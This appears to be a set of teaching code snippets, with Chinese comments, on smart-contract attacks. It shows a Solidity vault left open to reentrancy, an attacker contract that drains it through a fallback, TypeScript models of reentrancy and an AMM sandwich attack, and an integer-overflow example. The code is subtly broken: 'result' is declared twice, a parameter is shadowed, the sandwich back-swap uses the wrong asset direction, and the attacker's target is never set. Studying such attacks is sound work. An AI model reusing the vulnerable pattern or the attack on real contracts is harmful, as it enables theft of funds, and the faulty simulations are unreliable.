// 有漏洞的版本
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");
        (bool ok, ) = msg.sender.call{value: amount}("");  // 外部调用 -> 攻击者回调
        require(ok, "transfer failed");
        balances[msg.sender] = 0;  // 状态更新在转账之后！
    }
}

// 攻击合约
contract Attacker {
    VulnerableVault target;
    function attack() external {
        target.withdraw(); // 触发第一次，目标会在 fallback 前调用这里
    }
    fallback() external payable {
        if (address(target).balance > 0) {
            target.withdraw(); // 再次调用，balance 还没被扣减！
        }
    }
}

/**
 * 重入攻击的数学模型：状态更新的不同顺序导致的差异
 */
function simulateReentrancy(
  initialBalance: bigint,
  hackerDeposits: bigint,
  safe: boolean,  // 如果 true，状态先更新
): { victimDrained: bigint; hackerWins: bigint } {
  let contractBalance = initialBalance + hackerDeposits;
  let hackerBalance = 0n; // 攻击者在目标合约中"看起来"的余额
  
  // 攻击者先存入
  // 然后触发 withdraw
  
  if (safe) {
    // CEI 模式：先扣减余额，再发钱
    const claim = hackerDeposits;
    hackerBalance = 0n;  // 扣减！
    contractBalance -= claim;
    // 外部调用...
    return { victimDrained: 0n, hackerWins: claim };
  } else {
    // 攻击路径：先外部调用，再扣减
    let drained = 0n;
    let iterations = 0;
    while (contractBalance > 0 && iterations < 10) {
      const amount = hackerDeposits; // 扣减前余额仍为 hackerDeposits
      if (contractBalance >= amount) {
        drained += amount;
        contractBalance -= amount;
        iterations++;
      } else { break; }
      // 注意：在目标中，只有在最后才设置 hackerBalance = 0
    }
    return { victimDrained: drained - hackerDeposits, hackerWins: drained };
  }
}

// 模拟：攻击者存 1 ETH，合约有 10 ETH
const result = simulateReentrancy(10n, 1n, false);
console.log(`重入攻击: 攻击者投入 1 ETH，最终到手 ${result.hackerWins} ETH`);
console.log(`受害者损失: ${result.victimDrained} ETH`);
// 如果未加防护，攻击者可能榨干全部合约余额

/**
 * 抢跑攻击的数学模型：AMM 上的三明治攻击
 * 恒定乘积做市商: x * y = k
 */
class ConstantProductAMM {
  private x: bigint;  // 资产 X 储备
  private y: bigint;  // 资产 Y 储备
  private fee = 30n;  // 0.3% = 30 basis points
  private feeDen = 10000n;

  constructor(reserveX: bigint, reserveY: bigint) {
    this.x = reserveX; this.y = reserveY;
  }

  // 给定 xIn，计算 yOut（含手续费）
  getAmountOut(xIn: bigint): bigint {
    const xInFee = (xIn * this.fee) / this.feeDen; // 0.3% 手续费给 LP
    const xInNet = xIn - xInFee;
    const yOut = (this.y * xInNet) / (this.x + xInNet);
    return yOut;
  }

  swap(xIn: bigint): bigint {
    const yOut = this.getAmountOut(xIn);
    this.x += xIn;
    this.y -= yOut;
    return yOut;
  }
}

// 三明治攻击模拟
function simulateSandwich(
  amm: ConstantProductAMM,
  victimAmount: bigint,
  attackerAmount: bigint,
): { attackerProfit: bigint; victimSlippage: number } {
  // 攻击前状态
  const x0 = 10000n; const y0 = 10000n; // 1:1 价格
  const amm = new ConstantProductAMM(x0, y0);
  
  // 正常情况（无攻击）
  const normalOut = amm.getAmountOut(victimAmount);
  
  // 重置 + 攻击
  const amm2 = new ConstantProductAMM(x0, y0);
  const attackerIn = attackerAmount;
  const attackerOut1 = amm2.swap(attackerIn);  // 攻击者先买 → 推高 Y 的价格
  
  const victimOut = amm2.swap(victimAmount);   // 受害者以更高价格买
  
  const attackerOut2 = amm2.swap(attackerOut1); // 攻击者回卖，赚差价
  
  const attackerProfit = attackerOut2 - attackerIn;
  const slippageLoss = Number(normalOut - victimOut) / Number(normalOut);
  
  return { attackerProfit, victimSlippage: slippageLoss };
}

const result = simulateSandwich(
  new ConstantProductAMM(10000n, 10000n),
  100n,   // 受害者买 100 X
  50n,    // 攻击者用 50 X 做三明治
);
console.log(`攻击者利润: ${result.attackerProfit} Y（手续费后的净赚）`);
console.log(`受害者额外滑点损失: ${(result.victimSlippage * 100).toFixed(2)}%`);

// Solidity 0.7.x 之前
uint8 a = 255;
uint8 b = 1;
uint8 c = a + b; // c = 0! (溢出绕回)

// 0.8.0 之后自动 revert，但 assembly 中仍然需要手动检查